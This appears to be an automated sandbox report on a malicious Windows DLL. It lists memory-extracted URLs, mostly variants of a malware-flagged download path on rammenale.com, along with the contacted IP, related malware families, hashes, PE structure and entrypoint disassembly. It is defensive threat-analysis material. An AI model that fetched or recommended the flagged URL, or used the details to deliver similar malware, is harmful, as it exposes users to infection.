
URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtZ	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers/?	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtV	rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq/ts/	rundll32.exe, 00000005.00000002.2939087416.0000000004B9A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers?	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtC:	rundll32.exe, 00000003.00000002.1721988527.0000000003230000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1722847273.0000000003170000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937582224.0000000002940000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937723951.0000000002A60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937794002.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937581731.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937583525.0000000002A80000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B20000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtL	rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.tiro.com	rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtK	rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtsC:	loaddll32.exe, 00000000.00000002.1751507131.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers	rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtG	rundll32.exe, 00000006.00000002.2937794002.0000000003058000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.goodfont.co.kr	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtP$	rundll32.exe, 00000006.00000002.2937651056.0000000002E70000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtE	rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtD	rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sajatypeworks.com	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1717234700.00000000050AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtz	rundll32.exe, 00000005.00000002.2940012348.0000000008B76000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937723951.0000000002A6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.0000000008876000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://rammenale.com/for2/zetaq.txtw	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtv	rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://rammenale.com/for2/zetaq.txtt	rundll32.exe, 00000006.00000002.2937794002.0000000002FAA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt6634-1002	rundll32.exe, 00000005.00000002.2940012348.0000000008B34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtr	rundll32.exe, 00000006.00000002.2937794002.0000000003058000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/u	rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/zetaq	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtn	rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.galapagosdesign.com/DPlease	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtl	rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://rammenale.com/for2/zetaq.txtk	rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.fonts.com	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtent-1002	rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.urwpp.deDPlease	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtg	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.zhongyicts.com.cn	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtc	rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtI%	rundll32.exe, 00000006.00000002.2937794002.0000000002FAA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtxt	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://rammenale.com/	rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.0000000008838000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/YSTEM32	rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://microsoft.co	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://rammenale.com/for2/zetaq.txtPf	rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.microsoft.	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://en.wikipedia	rundll32.exe, 00000006.00000003.1723075107.00000000050C7000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1723013012.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/Data	rundll32.exe, 00000006.00000002.2940217585.000000000881C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/zetaq.txt4U	rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt50	rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtentndowsINetCookies;	rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.carterandcone.coml	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txt~	rundll32.exe, 00000006.00000002.2940217585.000000000884D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txtentu	rundll32.exe, 00000008.00000002.2937725359.0000000002B99000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.founder.com.cn/cn	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txt8	rundll32.exe, 00000005.00000002.2937723951.0000000002A6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt4Y	rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/fo10280/zet2	rundll32.exe, 00000008.00000002.2937478623.00000000027B7000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/zetaq.txt6	rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/8EEF8FF4BF719EAB539B52	rundll32.exe, 00000005.00000002.2940012348.0000000008B34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/zetaq.txt4	rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtes	rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaqtxt	rundll32.exe, 00000005.00000002.2937473872.0000000002577000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937480440.0000000002C77000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.jiyu-kobo.co.jp/	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txt.	rundll32.exe, 00000006.00000002.2940217585.0000000008834000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers8	rundll32.exe, 00000005.00000002.2939554123.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2939929067.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rammenale.com/for2/zetaq.txt4m	rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txtent	rundll32.exe, 00000005.00000002.2937723951.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937794002.000000000301F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt&	rundll32.exe, 00000008.00000002.2939436401.0000000008972000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaqonts/c	rundll32.exe, 00000006.00000002.2939550917.00000000050C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt#	rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt4er	rundll32.exe, 00000008.00000002.2939436401.00000000089BD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq.txt4q	rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/zetaq/a	rundll32.exe, 00000005.00000002.2939087416.0000000004B9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
131.153.206.231	rammenale.com	United States		19437	SS-ASHUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500942
Start date and time:	2024-08-29 06:52:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UiFttnkl2R.dll renamed because original name is a hash value
Original Sample Name:	d0c554c836f955997316acf30b5039b52e5c9a8b127a5f33107314a481663b5e.dll
Detection:	MAL
Classification:	mal80.evad.winDLL@14/0@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 92% Number of executed functions: 14 Number of non-executed functions: 63
Cookbook Comments:	Found application associated with file extension: .dll

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 7432 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:53:00	API Interceptor	2x Sleep call for process: rundll32.exe modified
00:53:03	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SS-ASHUS	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	https://blockchainsolution.netlify.app/	Get hash	malicious	Unknown	Browse	131.153.206.100
	http://blockdag-network-rectification.pages.dev/wallet/inputs.html/js/aes.js	Get hash	malicious	Unknown	Browse	131.153.206.103
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	131.153.100.38
	Bank Slip.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	131.153.147.106
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	131.153.148.82
	0tkRwEewXq.exe	Get hash	malicious	FormBook	Browse	131.153.170.234
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	209.100.21.94
	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	131.153.148.82

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	rSHIPMENT_DOCMSS24071327.exe	Get hash	malicious	FormBook, GuLoader	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse	131.153.206.231
	file.exe	Get hash	malicious	Meduza Stealer	Browse	131.153.206.231

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5356756294820855
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UiFttnkl2R.dll
File size:	147'456 bytes
MD5:	8620a8a3f75b8b63766bd0f489f33d6a
SHA1:	ffe90dfdfbb5d7d33392887b2a3995cbfba2aae8
SHA256:	d0c554c836f955997316acf30b5039b52e5c9a8b127a5f33107314a481663b5e
SHA512:	57efc2cf168964bef5919ce9534a4123aa7cbc891e34ca0919f0b939596252f6657ee127aa5daf5cb5652b141536649f37e5dba269d88f5d71098823c8babaef
SSDEEP:	3072:hI/BdPh3InCF62EHwrSqzaAyy7hHFlBzKCJ/6Pcf+dG0n3:hI/7DF626wr7yiFlBDE1n3
TLSH:	BFE37C06B581C032C56E29350570DB726B7FBD30DF64AD8F77980A7A9F702C18F25A6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........byN.............{.......{.......{.......{...............................{..............................................Rich...

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x100030d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x665963AE [Fri May 31 05:44:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	28e52b50e791e98ac4872f0f813b58e6

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FF84CBBF8A7h
call 00007FF84CBBFA7Bh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FF84CBBF753h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FF84CBBFF7Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FF84CBBFF69h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1001B058h]
push dword ptr [ebp+08h]
call dword ptr [1001B054h]
push C0000409h
call dword ptr [1001B05Ch]
push eax
call dword ptr [1001B030h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1001B060h]
test eax, eax
je 00007FF84CBBF8A7h
push 00000002h
pop ecx
int 29h
mov dword ptr [10023B30h], eax
mov dword ptr [10023B2Ch], ecx
mov dword ptr [10023B28h], edx
mov dword ptr [10023B24h], ebx
mov dword ptr [10023B20h], esi
mov dword ptr [10023B1Ch], edi
mov word ptr [10023B48h], ss
mov word ptr [10023B3Ch], cs
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x22670	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x226c0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x25000	0x1b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x26000	0x1328	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x21490	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x213d0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1984b	0x19a00	2ed7238e48956e40b8639975a6f91143	False	0.583812881097561	data	6.664185453974053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x7e1c	0x8000	7a03ee635ac0944497a3adbe749e8266	False	0.459747314453125	data	5.284921655068188	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x23000	0x1498	0xc00	6d29a91b2c976a0089df0add158c8edc	False	0.15104166666666666	data	2.1650421272242983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25000	0x1b0	0x200	4cb59beff4c248d5e23bc9d579cd8ecf	False	0.501953125	data	4.493775023695173	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x26000	0x1328	0x1400	06243617089b09a6cfa72ee6ae3459c3	False	0.752734375	data	6.4254014515439986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x25060	0x14e	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.6407185628742516

Imports

DLL	Import
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
OLEAUT32.dll	VariantClear, VariantInit, SysFreeString, SysAllocString
